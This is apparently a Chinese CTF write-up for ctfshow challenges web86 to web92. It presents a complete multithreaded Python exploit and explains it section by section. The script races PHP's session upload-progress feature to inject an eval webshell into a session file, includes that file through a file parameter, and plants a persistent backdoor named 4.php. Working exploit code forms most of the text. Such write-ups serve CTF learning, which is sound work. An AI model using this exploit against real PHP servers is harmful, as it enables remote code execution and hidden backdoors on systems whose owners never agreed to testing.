这个脚本源自于ctfshow中其他师傅的wp+AI优化,功能比较强大,web86-web92一把梭
脚本内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import requests import io import threading import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://bb96a81f-7108-49e2-b486-07779d862beb.challenge.ctf.show/' sessionid = 'gengar' cookies = {'PHPSESSID': sessionid} stop_event = threading.Event()
def write(): while not stop_event.is_set(): try: with requests.Session() as s: data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?=eval($_POST[1])?>'} files = {'file': ('truthahn.jpg', io.BytesIO(b'a' * 51200))} s.post(url, data=data, cookies=cookies, files=files, verify=False, timeout=5) except Exception as e: pass
def read(): while not stop_event.is_set(): try: with requests.Session() as s: payload = "file_put_contents('4.php','<?=eval($_POST[2]);?>');" s.post( url + f'?file=/tmp/sess_{sessionid}', data={'1': payload}, cookies=cookies, verify=False, timeout=5 ) resp = s.get(url + '4.php', verify=False, timeout=5) if resp.status_code == 200: print(f"[+] SUCCESS! Shell at: {url}4.php") stop_event.set() return else: print("defeat") except Exception as e: pass
if __name__ == '__main__': for _ in range(5): t = threading.Thread(target=write, daemon=True) t.start()
for _ in range(5): t = threading.Thread(target=read, daemon=True) t.start()
try: while not stop_event.is_set(): threading.Event().wait(1) except KeyboardInterrupt: print("\n[-] Stopped by user")
|
代码块分析
1.模块导入与变量定义
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import io import threading import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://bb96a81f-7108-49e2-b486-07779d862beb.challenge.ctf.show/' sessionid = 'gengar' cookies = {'PHPSESSID': sessionid} stop_event = threading.Event()
|
- urllib3.disable_warnings(…):关闭 SSL 证书验证警告(因为目标用了 HTTPS 但是为自签名证书)
- sessionid:固定会话 ID,确保上传进度和读取指向同一个 session 文件
- PHPSESSID:PHP 默认的会话(Session)Cookie 名称,用于在客户端和服务器之间传递会话 ID,从而维持用户状态
- stop_event:线程同步信号,一旦成功写入 Webshell,立即停止所有线程
2.写入函数
1 2 3 4 5 6 7 8 9 10
| def write(): while not stop_event.is_set(): try: with requests.Session() as s: data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?=eval($_POST[1])?>'} files = {'file': ('truthahn.jpg', io.BytesIO(b'a' * 51200))} s.post(url, data=data, cookies=cookies, files=files, verify=False, timeout=5) except Exception as e: pass
|
- while not stop_event.is_set():线程同步信号没有被触发
- data:将一句话木马通过 PHP 的 Session Upload Progress 特性进行 Webshell 注入,该内容会被写入/tmp/sess_{sessionid}
- files:模拟文件上传,因为需要同时上传一个文件(multipart/form-data)才能触发触发 PHP 的
session.upload_progress 特性,PHP 会自动将PHP_SESSION_UPLOAD_PROGRESS的值写入当前用户的 session 文件
- s.post:
- 设置 timeout=5,防止线程永久阻塞,高频、快速的请求循环高条件竞争成功率
- 设置 verify=False,禁用 SSL/TLS 证书验证
3.读取函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def read(): while not stop_event.is_set(): try: with requests.Session() as s: payload = "file_put_contents('4.php','<?=eval($_POST[2]);?>');" s.post( url + f'?file=/tmp/sess_{sessionid}', data={'1': payload}, cookies=cookies, verify=False, timeout=5 ) resp = s.get(url + '4.php', verify=False, timeout=5) if resp.status_code == 200: print(f"[+] SUCCESS! Shell at: {url}4.php") stop_event.set() return else: print("defeat") except Exception as e: pass
|
- payload:一句话木马写入4.php
- s.post:访问/tmp/sess_{sessionid},post二次写入文件,建立后门
- s.get:检查文件是否写入成功
- stop_event.set():文件写入成功,线程同步信号stop,用于结束程序
4.启动线程
1 2 3 4 5 6 7 8 9
| for _ in range(5): t = threading.Thread(target=write, daemon=True) t.start()
for _ in range(5): t = threading.Thread(target=read, daemon=True) t.start()
|
5.等待循环
1 2 3 4 5
| try: while not stop_event.is_set(): threading.Event().wait(1) except KeyboardInterrupt: print("\n[-] Stopped by user")
|
让主线程休眠 1 秒(threading.Event().wait(1))的核心目的是:避免主线程以“空循环”方式疯狂占用 CPU 资源,同时保持对程序状态的定期检查